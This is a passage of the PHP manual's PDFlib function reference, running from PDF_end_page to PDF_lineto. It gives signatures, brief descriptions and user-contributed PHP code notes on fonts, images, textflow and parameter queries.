Finishes the page. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Finish pattern

  • « PDF_end_page
  • PDF_end_template »
  • PHP Manual
  • PDF Functions
  • Finish pattern

PDF_end_pattern

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_end_pattern — Finish pattern

Description

bool PDF_end_pattern ( resource $p )

Finishes the pattern definition. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Finish template

  • « PDF_end_pattern
  • PDF_endpath »
  • PHP Manual
  • PDF Functions
  • Finish template

PDF_end_template

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_end_template — Finish template

Description

bool PDF_end_template ( resource $p )

Finishes a template definition. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


End current path

  • « PDF_end_template
  • PDF_fill_imageblock »
  • PHP Manual
  • PDF Functions
  • End current path

PDF_endpath

(PHP 4, PECL pdflib >= 1.0.0)

PDF_endpath — End current path

Description

bool PDF_endpath ( resource $p )

Ends the current path without filling or stroking it.

User Contributed Notes

There are no user contributed notes for this page.


Fill image block with variable data

  • « PDF_endpath
  • PDF_fill_pdfblock »
  • PHP Manual
  • PDF Functions
  • Fill image block with variable data

PDF_fill_imageblock

(PECL pdflib >= 2.0.0)

PDF_fill_imageblock — Fill image block with variable data

Description

int PDF_fill_imageblock ( resource $pdfdoc , int $page , string $blockname , int $image , string $optlist )

Fills an image block with variable data according to its properties.

This function is only available in the PDFlib Personalization Server (PPS).

User Contributed Notes

There are no user contributed notes for this page.


Fill PDF block with variable data

  • « PDF_fill_imageblock
  • PDF_fill_stroke »
  • PHP Manual
  • PDF Functions
  • Fill PDF block with variable data

PDF_fill_pdfblock

(PECL pdflib >= 2.0.0)

PDF_fill_pdfblock — Fill PDF block with variable data

Description

int PDF_fill_pdfblock ( resource $pdfdoc , int $page , string $blockname , int $contents , string $optlist )

Fills a PDF block with variable data according to its properties.

This function is only available in the PDFlib Personalization Server (PPS).

User Contributed Notes

There are no user contributed notes for this page.


Fill and stroke path

  • « PDF_fill_pdfblock
  • PDF_fill_textblock »
  • PHP Manual
  • PDF Functions
  • Fill and stroke path

PDF_fill_stroke

(PHP 4, PECL pdflib >= 1.0.0)

PDF_fill_stroke — Fill and stroke path

Description

bool PDF_fill_stroke ( resource $p )

Fills and strokes the current path with the current fill and stroke color. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Fill text block with variable data

  • « PDF_fill_stroke
  • PDF_fill »
  • PHP Manual
  • PDF Functions
  • Fill text block with variable data

PDF_fill_textblock

(PECL pdflib >= 2.0.0)

PDF_fill_textblock — Fill text block with variable data

Description

int PDF_fill_textblock ( resource $pdfdoc , int $page , string $blockname , string $text , string $optlist )

Fills a text block with variable data according to its properties.

This function is only available in the PDFlib Personalization Server (PPS).

User Contributed Notes

Anonymous 02-Jul-2009 10:54
This function's purpose is to fill in an AcroForm field.  The concept of "Block" comes from the PDFlib Personalization Server (PPS) terminology.
stephen at pacificscreening dot com 29-Apr-2009 11:24
You should be aware that the PDF Lib documentation says that this method should return a textflow handle that can then be used on subsequent calls (i.e. to have an arbitrary number of boxes and have the text continue to spill over). It does not, at least not in my version of PHP (4.3.8). I had to dig around and find a message in the official message boards saying it does NOT work this way. The only way to do textflow is to use pdf_fit_textflow() and grab the locations of the target box each time.


Fill current path

  • « PDF_fill_textblock
  • PDF_findfont »
  • PHP Manual
  • PDF Functions
  • Fill current path

PDF_fill

(PHP 4, PECL pdflib >= 1.0.0)

PDF_fill — Fill current path

Description

bool PDF_fill ( resource $p )

Fills the interior of the current path with the current fill color. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Prepare font for later use [deprecated]

  • « PDF_fill
  • PDF_fit_image »
  • PHP Manual
  • PDF Functions
  • Prepare font for later use [deprecated]

PDF_findfont

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_findfont — Prepare font for later use [deprecated]

Description

int PDF_findfont ( resource $p , string $fontname , string $encoding , int $embed )

Search for a font and prepare it for later use with PDF_setfont(). The metrics will be loaded, and if embed is nonzero, the font file will be checked, but not yet used. encoding is one of builtin, macroman, winansi, host, a user-defined encoding name or the name of a CMap. Parameter embed is optional before PHP 4.3.5 or with PDFlib less than 5.

This function is deprecated since PDFlib version 5, use PDF_load_font() instead.

User Contributed Notes

Shamun Toha 05-Oct-2008 08:08
<?php
/*
 * This is an example of my first PDF test
 * Worked by NuSphere PHPed
 * Manualy downloaded library from
 * http://pecl4win.php.net/ext.php/php_pdf.dll
 */

/*
 * Stage - 1
 * Resource create for PDF library
 */
$pdf = PDF_new();

/*
 * Stage - 2
 * Save where? Path to create the file.
 */
pdf_open_file($pdf, "c:\heloworld.pdf");

/*
 * Stage - 3
 * Page diemention (A4)
 */
pdf_begin_page($pdf, 595, 842);

/*
 * Stage - 4
 * path of your TTF font directory
 * can also use pdf_load_font();
 * http://uk3.php.net/manual/en/function.pdf-findfont.php
 */
$fontdir = "C:\WINDOWS\Fonts";
pdf_set_parameter($pdf, "FontOutline", "arialMyName=$fontdir\arial.ttf");
$arial = PDF_findfont($pdf,"arialMyName","host",0 );

/*
 * Stage - 5
 * Set font size and font name
 */
pdf_setfont($pdf, $arial, 10);

/*
 * Stage - 6
 * print text
 */
pdf_show_xy($pdf, "Hellow World? ",50, 750);
pdf_show_xy($pdf, "Test 1, 2, 3, 4 working. ", 50,730);

/*
 * Stage - 7
 * end page
 */
pdf_end_page($pdf);

/*
 * Stage - 8
 * close and save file
 */
pdf_close($pdf);

?>

Output as pdf:
###################################
#
#   Hellow World?
#   Test 1, 2, 3, 4 working.
#
###################################
R. Christiaanse 26-Jul-2005 01:57
If you get the following error,

"PDFlib error: [2518] PDF_findfont: No file specified with outline data for font ..."

you might try the following:

1. Take care the environment variable PDFLIBRESOURCE is correctly set.

   You can set it like this: putenv("PDFLIBRESOURCE=C:\phpdev\php\pdf-related\pdflib.upr");

2. Take care the resource variabele used by PDFLib is correctly set.

   You can set it like this: pdf_set_parameter($pdf, "resourcefile", "C:\phpdev\php\pdf-related\pdflib.upr");

3. Take care the resource file and fonts can be found by adjusting your local include path.

   You can set it like this: ini_set('include_path', 'C:/phpdev/php/pdf-related');

4. Take care the paths in the PDFLIB resource file are correct

   Open pdflib.upr in a text editor and modify the path entry (read the comments):

   Example: /C:/phpdev/php/pdf-related

5. Leave the optional parameter 'embed' out:

   Like this:

   if ($font = pdf_findfont($pdf, "Helvetica", "host", 0))
     pdf_setfont($pdf, $font, 12);

   Or this:

   if ($font = pdf_findfont($pdf, "Helvetica", "host"))
     pdf_setfont($pdf, $font, 12);

I hope this could be of help to you...
sebastien at galliot dot com 25-Jun-2004 10:14
Display UTF-8 string with your PDFlib and true type font
<?php

/*  UTF-8 : Unicode encoded string with PDFlib & Php

*/
$pdf = pdf_new();
if (!pdf_open_file($pdf, ""))
   exit;

PDF_begin_page($pdf, 600,800);

// set the textformat parameter to utf8
pdf_set_parameter($pdf, "textformat", "utf8");

// path of your TTF font directory
$fontdir = "/path/to/font/directory/";

// Open few .TTF (true type font)
// be sure that your font file contains enough character for your language

pdf_set_parameter($pdf, "FontOutline", "ArialUnicode=$fontdir/ARIALUNI.TTF");
pdf_set_parameter($pdf, "FontOutline", "ArialItalic=$fontdir/ariali.ttf");

// UTF-8 encoded string (this is bulgarian (cyrillic alphabet))
$utf_8_string ="Потребление" ;

// Set the font
$font = PDF_findfont($pdf, "ArialUnicode", "unicode",0);
pdf_setfont($pdf, $font, 15);
// output the encoded string with Arial Unicode font
pdf_show_xy($pdf,  "Arial Unicode : $utf_8_string"   ,40 ,700);

// output the encoded string with Arial Italic font
$font = PDF_findfont($pdf, "ArialItalic", "unicode",0);
pdf_setfont($pdf, $font, 15);
pdf_show_xy($pdf,  "Arial Italic  : $utf_8_string"   ,40 ,650);

PDF_end_page($pdf);
pdf_close($pdf);

$buf = pdf_get_buffer($pdf);
$len = strlen($buf);

header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=foo.pdf");
echo $buf;

pdf_delete($pdf);

?>
Mairsil 27-Jan-2004 07:31
An easy way to use .ttf fonts under *nix:

pdf_set_parameter($pdf, "FontOutline", "Arial=/var/path/to/font/arial.ttf");
jurgen dot php dot net at nospam dot thewicked dot nl 11-Jul-2003 04:38
try this nice *nix shell code to generate the FontAFM section of your UPR files:

   for i in *.afm
   do
           sep=`echo -e "\r"`
           file=`cat $i | grep FontName | cut -b 10-`
           file=${file//$sep/}
           echo "$file=$i"
   done

it gererates something like this:

   Courier-Oblique=Courier-Oblique.afm
   Courier=Courier.afm
   Helvetica-Bold=Helvetica-Bold.afm
   etc.

probably usefull if you add fonts now and then...
dont be shy to mail me if you find this usefull!
chkim at secuve dot com 26-Oct-2002 07:47
you can use korean font.

$font_kr = PDF_findfont($pdf, "HYSMyeongJoStd-Medium-Acro", "KSC-EUC-H", 0);
mitch at nospam dot unixprogramming dot net 21-Mar-2002 01:48
A note on fonts...

 Everyone should take a look at the PDFlib manual, section 3.3.5 on TrueType fonts and such. In order to not have to embed fonts and have the font metrics file available use one of the 14 internal PDFlib fonts (case sensitive) :

Courier, Courier-Bold, Courier-Oblique, Courier-BoldOblique,
Helvetica, Helvetica-Bold, Helvetica-Oblique, Helvetica-BoldOblique,
Times-Roman, Times-Bold, Times-Italic, Times-BoldItalic,
Symbol, ZapfDingbats

Note that "Times New Roman" isn't in there (Times-Roman is, however). All is explained in the PDFlib manual so if you're having trouble with the above example, please check it out.
bob at nijman dot de 02-Aug-2001 03:45
Try this:

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_begin_page($pdf, 300, 300);

$font = pdf_findfont($pdf, "Times New Roman", "host", 1);
if ($font) {
    pdf_setfont($pdf, $font, 30);
}

$string = "Hello Berlin-Mitte!";

$width = pdf_stringwidth($pdf, $string);
pdf_set_text_pos($pdf, (300-$width)/2, 200);
pdf_show($pdf, $string);

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=myTest.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>
martin at better-com dot de 23-Jun-2001 07:36
For using pdf_findfont with pdf_setfont it's a good idea to copy your fonts to a separate directory, i.e. /usr/local/fonts. You should also copy the upr file which comes with PDFlib to this directory. The example code above did not work here until I put a

pdf_set_parameter($pdf, "resourcefile", "/usr/local/fonts/pdflib.upr");

before the line with pdf_findfont().


Place image or template

  • « PDF_findfont
  • PDF_fit_pdi_page »
  • PHP Manual
  • PDF Functions
  • Place image or template

PDF_fit_image

(PECL pdflib >= 2.0.0)

PDF_fit_image — Place image or template

Description

bool PDF_fit_image ( resource $pdfdoc , int $image , float $x , float $y , string $optlist )

Places an image or template on the page, subject to various options. Returns TRUE on success or FALSE on failure.

User Contributed Notes

pcsmke et gmail dot com 20-Sep-2010 12:37
<?php
$slika = pdf_load_image($pdf,"gif","D:\\xampp\\htdocs\\telime.gif","");
pdf_fit_image($pdf,$slika,30,50,"");
pdf_close_image($pdf,$slika);
?>

this worked for me full path to the file
adrian dot suter at epfl dot ch 13-Nov-2006 09:41
Hello php cracks

First of all, the reference point of the image is its left, bottom corner. Furthermore, I just thought it would be nice to know some of the most used options that can be passed using the fifth parameter "string optlist".

Scaling the image (e.g. by a factor of 0.5)
<?php PDF_fit_image ( $pdf, $img, $x, $y, "scale 0.5" ) ?>

Rotating the image (e.g. by an angle of 45 degrees)
<?php PDF_fit_image ( $pdf, $img, $x, $y, "rotate 45" ) ?>
Note: The reference point rotates with the image!

Fitting the image into a virtual box
<?php PDF_fit_image ( $pdf, $img, $x, $y, "boxsize {200 100} fitmethod meet" ) ?>
Note: The box width and height (in Adobe points) would be given in the curly braces. Using the fitmethod "meet", the image would be ratio-scaled to be completely visible. Other methods are "clip" and "slice".

Multiple options can be used at the same time by simply concatenating them using a space. By the way, most pdf functions work exactly the same as the PDFlib functions. So just risk a look into the PFLlib documentations (use a search engine).

Hope this helped! Best regards - Adrian


Place imported PDF page

  • « PDF_fit_image
  • PDF_fit_table »
  • PHP Manual
  • PDF Functions
  • Place imported PDF page

PDF_fit_pdi_page

(PECL pdflib >= 2.0.0)

PDF_fit_pdi_page — Place imported PDF page

Description

bool PDF_fit_pdi_page ( resource $pdfdoc , int $page , float $x , float $y , string $optlist )

Places an imported PDF page on the page, subject to various options. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Place table on page

  • « PDF_fit_pdi_page
  • PDF_fit_textflow »
  • PHP Manual
  • PDF Functions
  • Place table on page

PDF_fit_table

(PECL pdflib >= 2.1.0)

PDF_fit_table — Place table on page

Description

string PDF_fit_table ( resource $pdfdoc , int $table , float $llx , float $lly , float $urx , float $ury , string $optlist )

Places a table on the page fully or partially.

User Contributed Notes

radu at galaxydesign dot ro 19-Sep-2013 09:47
Fatal error: Uncaught exception 'PDFlibException' with message 'Tables not supported in PDFlib Lite'
The PDFlib Lite will not support tables
Anonymous 19-Sep-2013 09:47
Fatal error: Uncaught exception 'PDFlibException' with message 'Tables not supported in PDFlib Lite'
The PDFlib Lite will not support tables


Format textflow in rectangular area

  • « PDF_fit_table
  • PDF_fit_textline »
  • PHP Manual
  • PDF Functions
  • Format textflow in rectangular area

PDF_fit_textflow

(PECL pdflib >= 2.0.0)

PDF_fit_textflow — Format textflow in rectangular area

Description

string PDF_fit_textflow ( resource $pdfdoc , int $textflow , float $llx , float $lly , float $urx , float $ury , string $optlist )

Formats the next portion of a textflow into a rectangular area.

User Contributed Notes

David 19-Nov-2007 02:16
NOTE!
This function is not supported in "PDFlib Lite" extension which is mostly been used by PHP-programmers.
ctemple at xadvance dot com 13-Aug-2006 09:10
This is an excerpt of code from the PDFlib Manual that has been modfied for PHP.  It fulfills the very common need to have a textflow extend accross multiple pages.

$pdf is the PDF file resource.  You may want to modify the page size (this is letter size) or the position of the textflow itself.

<?php

$thetext = "INSERT YOUR MULTI-PAGE TEXT HERE";

$textflow = PDF_create_textflow($pdf, $thetext, "fontname=Tahoma fontsize=9 encoding=winansi");

do {
    PDF_begin_page_ext($pdf, 612, 792, "");
    $result = PDF_fit_textflow($pdf, $textflow, 50, 120, 550, 720, "");
    PDF_end_page_ext($pdf, "");
} while (strcmp($result, "_stop"));

PDF_delete_textflow($pdf, $textflow);

?>

If you have any templates or pagination that need to be placed on each page, they can go within the do/while loop itself, between the begin_page and end_page functions.
GreenRover 17-May-2006 01:53
to plant an singel line with an alignment

$textflow = pdf_create_textflow($pdf, "test 123\nfoo baaa", 'fontname=Helvetica fontsize=12 encoding=iso8859-1 alignment=right');
  pdf_fit_textflow   ($pdf, $textflow, 400, 100, 550, 200, '');
  pdf_delete_textflow($pdf, $textflow);


Place single line of text

  • « PDF_fit_textflow
  • PDF_get_apiname »
  • PHP Manual
  • PDF Functions
  • Place single line of text

PDF_fit_textline

(PECL pdflib >= 2.0.0)

PDF_fit_textline — Place single line of text

Description

bool PDF_fit_textline ( resource $pdfdoc , string $text , float $x , float $y , string $optlist )

Places a single line of text on the page, subject to various options. Returns TRUE on success or FALSE on failure.

User Contributed Notes

Anders Lindn 19-Jan-2011 09:38
The function PDF_fit_textline has an "optlist" argument which you use to pass options. In other words, PDF_fit_textline contains many functions instead of one. A classical code smell.

The fact that the optlist argument is a string uglyfies this function by a factor of thousand.

Conclusion: when you make functions like PDF_show_boxed deprecated, replace it with a better function instead of doing the opposite.
scott at dont want spam dot com 13-Jul-2009 12:49
One point about using the PDF_show_boxed function.

It does not support Unicode. So if you need that support you will need to use this function or the text flow functions.
eslindsey at gmail dot com 25-Mar-2009 03:17
For right now, if you are using PDFlib Lite, you can still use the legacy (depreciated) PDF_show_boxed or $p->show_boxed functions to create a text area. This seems to be a good (if not as full-featured) alternative to the textflow functions, and definitely a whole lot easier than trying to write your own text wrapping/hyphenation solution.
Chris at postal-code dot com 27-Nov-2006 10:47
A patch to the code below to handle an array bounds error that arises:

<?php
$nextText = "";
if ( ( count( $tmpTxt ) - 1 ) >= ( $i + 1 ) )
{ $nextText = $tmpTxt[ $i+1 ]; }

if ( ( strlen( $str ) + strlen( $nextText ) ) > $cols )
?>
rcable at workforceconnections dot biz 12-Jul-2006 02:49
Here is a function I created in order to allow me to do textblocks on pdflib lite.  Hope this helps someone else, cause all the stuff I've found on php.net has helped me.
$p is your pdf resource
$text is the string to put in the box
$cols is the number col characters before a carriage return
$xcrd,$ycrd is lower left of first line.

This will accept \n as a newline/carriage return and use it to skip to next line.  It is not setup to hyphenate words, but someday I'll build one, or buy the full pdf package. ;)

function text_block($p,$text,$cols,$xcrd,$ycrd)
{
$font_size=12;  //font size, used to space lines on y axis
$tmplines = explode("\n",$text);
for($j=0;$j<count($tmplines);$j++)
    {
    $tmptxt = explode(" ",$tmplines[$j]);
    $str="";
    for($i=0;$i<count($tmptxt);$i++)
        {
        if($str=="") $str=sprintf("%s",$tmptxt[$i]);
        else    $str=sprintf("%s %s",$str,$tmptxt[$i]);
        if((strlen($str) + strlen($tmptxt[$i+1])) > $cols)
            {
            pdf_fit_textline($p,$str,$xcrd,$ycrd,"");
            $str="";
            $ycrd-=$font_size;
            }
        }
    pdf_fit_textline($p,$str,$xcrd,$ycrd,"");
    $ycrd-=$font_size;
    }
return $ycrd;
}


Get name of unsuccessfull API function

  • « PDF_fit_textline
  • PDF_get_buffer »
  • PHP Manual
  • PDF Functions
  • Get name of unsuccessfull API function

PDF_get_apiname

(PECL pdflib >= 2.0.0)

PDF_get_apiname — Get name of unsuccessfull API function

Description

string PDF_get_apiname ( resource $pdfdoc )

Gets the name of the API function which threw the last exception or failed.

User Contributed Notes

There are no user contributed notes for this page.


Get PDF output buffer

  • « PDF_get_apiname
  • PDF_get_errmsg »
  • PHP Manual
  • PDF Functions
  • Get PDF output buffer

PDF_get_buffer

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_get_buffer — Get PDF output buffer

Description

string PDF_get_buffer ( resource $p )

Fetches the buffer containing the generated PDF data.

User Contributed Notes

jorgepedret at gmail dot com 20-Mar-2008 04:43
This function can only be used when you are writing a file to memory and not to a physical file. Otherwise you will get an error like this one: Don't fetch buffer contents when writing to file.
cookiekid at gmail dot com 28-Apr-2006 08:15
If you plan to use get_buffer() you have to call open_file() with an
empty filename.


Get error text

  • « PDF_get_buffer
  • PDF_get_errnum »
  • PHP Manual
  • PDF Functions
  • Get error text

PDF_get_errmsg

(PECL pdflib >= 2.0.0)

PDF_get_errmsg — Get error text

Description

string PDF_get_errmsg ( resource $pdfdoc )

Gets the text of the last thrown exception or the reason for a failed function call.

User Contributed Notes

There are no user contributed notes for this page.


Get error number

  • « PDF_get_errmsg
  • PDF_get_font »
  • PHP Manual
  • PDF Functions
  • Get error number

PDF_get_errnum

(PECL pdflib >= 2.0.0)

PDF_get_errnum — Get error number

Description

int PDF_get_errnum ( resource $pdfdoc )

Gets the number of the last thrown exception or the reason for a failed function call.

User Contributed Notes

There are no user contributed notes for this page.


Get font [deprecated]

  • « PDF_get_errnum
  • PDF_get_fontname »
  • PHP Manual
  • PDF Functions
  • Get font [deprecated]

PDF_get_font

(PHP 4, PECL pdflib >= 1.0.0)

PDF_get_font — Get font [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_get_value() with the parameter font instead.

User Contributed Notes

There are no user contributed notes for this page.


Get font name [deprecated]

  • « PDF_get_font
  • PDF_get_fontsize »
  • PHP Manual
  • PDF Functions
  • Get font name [deprecated]

PDF_get_fontname

(PHP 4, PECL pdflib >= 1.0.0)

PDF_get_fontname — Get font name [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_get_parameter() with the parameter fontname instead.

User Contributed Notes

There are no user contributed notes for this page.


Font handling [deprecated]

  • « PDF_get_fontname
  • PDF_get_image_height »
  • PHP Manual
  • PDF Functions
  • Font handling [deprecated]

PDF_get_fontsize

(PHP 4, PECL pdflib >= 1.0.0)

PDF_get_fontsize — Font handling [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_get_value() with the parameter fontsizeinstead.

User Contributed Notes

There are no user contributed notes for this page.


Get image height [deprecated]

  • « PDF_get_fontsize
  • PDF_get_image_width »
  • PHP Manual
  • PDF Functions
  • Get image height [deprecated]

PDF_get_image_height

(PHP 4, PECL pdflib >= 1.0.0)

PDF_get_image_height — Get image height [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_get_value() with the parameter imageheight instead.

User Contributed Notes

There are no user contributed notes for this page.


Get image width [deprecated]

  • « PDF_get_image_height
  • PDF_get_majorversion »
  • PHP Manual
  • PDF Functions
  • Get image width [deprecated]

PDF_get_image_width

(PHP 4, PECL pdflib >= 1.0.0)

PDF_get_image_width — Get image width [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_get_value() with the parameter imagewidth instead.

User Contributed Notes

There are no user contributed notes for this page.


Get major version number [deprecated]

  • « PDF_get_image_width
  • PDF_get_minorversion »
  • PHP Manual
  • PDF Functions
  • Get major version number [deprecated]

PDF_get_majorversion

(PHP 4 >= 4.2.0, PECL pdflib >= 1.0.0)

PDF_get_majorversion — Get major version number [deprecated]

Description

int PDF_get_majorversion ( void )

This function is deprecated since PDFlib version 5, use PDF_get_value() with the parameter major instead.

User Contributed Notes

brianray 16-Apr-2004 08:29
Deprecated, use int PDF_get_value(resource pdfdoc,'major',0) instead.


Get minor version number [deprecated]

  • « PDF_get_majorversion
  • PDF_get_parameter »
  • PHP Manual
  • PDF Functions
  • Get minor version number [deprecated]

PDF_get_minorversion

(PHP 4 >= 4.2.0, PECL pdflib >= 1.0.0)

PDF_get_minorversion — Get minor version number [deprecated]

Description

int PDF_get_minorversion ( void )

Returns the minor version number of the PDFlib version.

This function is deprecated since PDFlib version 5, use PDF_get_value() with the parameter minor instead.

User Contributed Notes

brianray 16-Apr-2004 08:29
Deprecated, use int PDF_get_value(resource pdfdoc,'minor',0) instead.


Get string parameter

  • « PDF_get_minorversion
  • PDF_get_pdi_parameter »
  • PHP Manual
  • PDF Functions
  • Get string parameter

PDF_get_parameter

(PHP 4 >= 4.0.1, PECL pdflib >= 1.0.0)

PDF_get_parameter — Get string parameter

Description

string PDF_get_parameter ( resource $p , string $key , float $modifier )

Gets the contents of some PDFlib parameter with string type.

User Contributed Notes

Christopher Jastram cej102937 11-Dec-2005 09:46
The proper keys for pdf_get_parameter and pdf_get_value are under "Parameters and Values" under "A PDFlib Quick Reference" in the PDFlib reference manual (google is your friend).

To get the font name:

$fontname = pdf_get_parameter($pdf, "fontname", 0);

To get the font size:

$size = pdf_get_value($pdf, "fontsize", 0);


Get PDI string parameter [deprecated]

  • « PDF_get_parameter
  • PDF_get_pdi_value »
  • PHP Manual
  • PDF Functions
  • Get PDI string parameter [deprecated]

PDF_get_pdi_parameter

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_get_pdi_parameter — Get PDI string parameter [deprecated]

Description

string PDF_get_pdi_parameter ( resource $p , string $key , int $doc , int $page , int $reserved )

Gets the contents of a PDI document parameter with string type.

This function is deprecated since PDFlib version 7, use PDF_pcos_get_string() instead.

User Contributed Notes

There are no user contributed notes for this page.


Get PDI numerical parameter [deprecated]

  • « PDF_get_pdi_parameter
  • PDF_get_value »
  • PHP Manual
  • PDF Functions
  • Get PDI numerical parameter [deprecated]

PDF_get_pdi_value

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_get_pdi_value — Get PDI numerical parameter [deprecated]

Description

float PDF_get_pdi_value ( resource $p , string $key , int $doc , int $page , int $reserved )

Gets the contents of a PDI document parameter with numerical type.

This function is deprecated since PDFlib version 7, use PDF_pcos_get_number() instead.

User Contributed Notes

gregors at rose-hulman dot edu 13-Jun-2003 11:11
If you are having troubles getting the page count make sure you have Root caplitalized correctly.

$numPages=pdf_get_pdi_value($p,"/Root/Pages/Count",$input,0,0);
09-May-2003 11:16
For keys which are not page-related page must be -1 (in PHP: 0).
ian dot kinnear at optus-ebiz dot com 13-Jul-2001 09:56
From the pdflib manual...

key: Specifies the name of the parameter
doc: a valid PDF document handle retrieved with PDF_open_pdi()
page: A valid PDF page handle (not page number!). For keys which are not page-related page must be -1

Example:

$numPages=pdf_get_pdi_value($p,"/root/Pages/Count",$input,0,0);


Get numerical parameter

  • « PDF_get_pdi_value
  • PDF_info_font »
  • PHP Manual
  • PDF Functions
  • Get numerical parameter

PDF_get_value

(PHP 4 >= 4.0.1, PECL pdflib >= 1.0.0)

PDF_get_value — Get numerical parameter

Description

float PDF_get_value ( resource $p , string $key , float $modifier )

Gets the value of some PDFlib parameter with numerical type.

User Contributed Notes

02-Feb-2006 04:29
Note:

imagewidth and imageheigh do not return the actual width and height.  Instead they are 2 times the actual width and height.  I don't understand why, but this seems to be the case with multi page tiffs (and maybe other images).  In order to insert a multi page tiff into a PDF without out of control extra space do the following:

<?php
$pdf = pdf_new();
pdf_set_parameter($pdf, "licensefile", "/etc/pdflib/licensekeys.txt");
pdf_open_file($pdf, "/tmp/tifftest.pdf");

for ($i=1; $i<=4; $i++) {

$image = pdf_open_image_file($pdf, "tiff", "/tmp/test.tif", "page", $i);

$w = pdf_get_value($pdf, "imagewidth", $image);
$h = pdf_get_value($pdf, "imageheight", $image);

// $w and $h are at this point 2*width and 2*height!!

// To place the image without having lots of extra space:

pdf_begin_page($pdf, $w/2, $h/2);
pdf_place_image($pdf, $image, 0, 0, 0.5);
pdf_close_image($pdf, $image);
pdf_end_page($pdf);

}

pdf_close($pdf);

?>
25-Jul-2005 11:10
$width = PDF_get_value($p, "imagewidth", $image);
_meto ALT+q web.de 19-Jun-2004 06:58
There should be many more. For example I found this in the manual, wich was very helpfull for me:

$textx = pdf_get_value($p, "textx", 0);
$texty = pdf_get_value($p, "texty", 0);

These will extract the current textposition in the document.
robert.chambersATroche.com 26-Nov-2003 05:41
The Magic keywords are:

  IMAGEWIDTH,   IMAGEHEIGHT,   RESX,  RESY,
  CAPHEIGHT,  ASCENDER,  DESCENDER,  FONT

I looked in the sourcecode ...
ceo at l-i-e dot com 24-Feb-2002 07:13
See the main PDF manual page (the "PDF" link to the left) for the magic words that this function accepts.
reneATcola.cc 01-Mar-2001 05:32
To get the current font size, use something like this:

<?php $fontheight = PDF_get_value($pdf, "fontsize"); ?>


Query detailed information about a loaded font

  • « PDF_get_value
  • PDF_info_matchbox »
  • PHP Manual
  • PDF Functions
  • Query detailed information about a loaded font

PDF_info_font

(PECL pdflib >= 2.1.0)

PDF_info_font — Query detailed information about a loaded font

Description

float PDF_info_font ( resource $pdfdoc , int $font , string $keyword , string $optlist )

Queries detailed information about a loaded font.

User Contributed Notes

There are no user contributed notes for this page.


Query matchbox information

  • « PDF_info_font
  • PDF_info_table »
  • PHP Manual
  • PDF Functions
  • Query matchbox information

PDF_info_matchbox

(PECL pdflib >= 2.1.0)

PDF_info_matchbox — Query matchbox information

Description

float PDF_info_matchbox ( resource $pdfdoc , string $boxname , int $num , string $keyword )

Queries information about a matchbox on the current page.

User Contributed Notes

There are no user contributed notes for this page.


Retrieve table information

  • « PDF_info_matchbox
  • PDF_info_textflow »
  • PHP Manual
  • PDF Functions
  • Retrieve table information

PDF_info_table

(PECL pdflib >= 2.1.0)

PDF_info_table — Retrieve table information

Description

float PDF_info_table ( resource $pdfdoc , int $table , string $keyword )

Retrieves table information related to the most recently placed table instance.

User Contributed Notes

There are no user contributed notes for this page.


Query textflow state

  • « PDF_info_table
  • PDF_info_textline »
  • PHP Manual
  • PDF Functions
  • Query textflow state

PDF_info_textflow

(PECL pdflib >= 2.0.0)

PDF_info_textflow — Query textflow state

Description

float PDF_info_textflow ( resource $pdfdoc , int $textflow , string $keyword )

Queries the current state of a textflow.

User Contributed Notes

There are no user contributed notes for this page.


Perform textline formatting and query metrics

  • « PDF_info_textflow
  • PDF_initgraphics »
  • PHP Manual
  • PDF Functions
  • Perform textline formatting and query metrics

PDF_info_textline

(PECL pdflib >= 2.1.0)

PDF_info_textline — Perform textline formatting and query metrics

Description

float PDF_info_textline ( resource $pdfdoc , string $text , string $keyword , string $optlist )

Performs textline formatting and queries the resulting metrics.

User Contributed Notes

nico 17-Jul-2009 01:18
You can use PDF_info_textline to center some text in the page.

Here's a little function

<?php
// Parameters:
// $p -> the PDF handle
// $text -> the text to center
// $posy -> the vertical position of the text
// $pageWidth -> the width of the page, defaults to 595 (A4)
function center_text($p, $text, $posy, $pageWidth=595)
    {
    $width = PDF_info_textline($p, $text, 'width', '');
    PDF_fit_textline($p, $text, ($pageWidth-$width)/2, $posy, '');
}
?>


Reset graphic state

  • « PDF_info_textline
  • PDF_lineto »
  • PHP Manual
  • PDF Functions
  • Reset graphic state

PDF_initgraphics

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_initgraphics — Reset graphic state

Description

bool PDF_initgraphics ( resource $p )

Reset all color and graphics state parameters to their defaults. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Draw a line

  • « PDF_initgraphics
  • PDF_load_3ddata »
  • PHP Manual
  • PDF Functions
  • Draw a line

PDF_lineto

(PHP 4, PECL pdflib >= 1.0.0)

PDF_lineto — Draw a line

Description

bool PDF_lineto ( resource $p , float $x , float $y )

Draws a line from the current point to another point. Returns TRUE on success or FALSE on failure.

User Contributed Notes

rod-php at thecomplex dot com 01-Oct-2002 07:20
function find_angle ($x1, $y1, $x2, $y2) {
// This function takes two points (x1,y1) and (x2,y2)
// as inputs and finds the slope and angle of a line
// between those two points.  It returns the angle
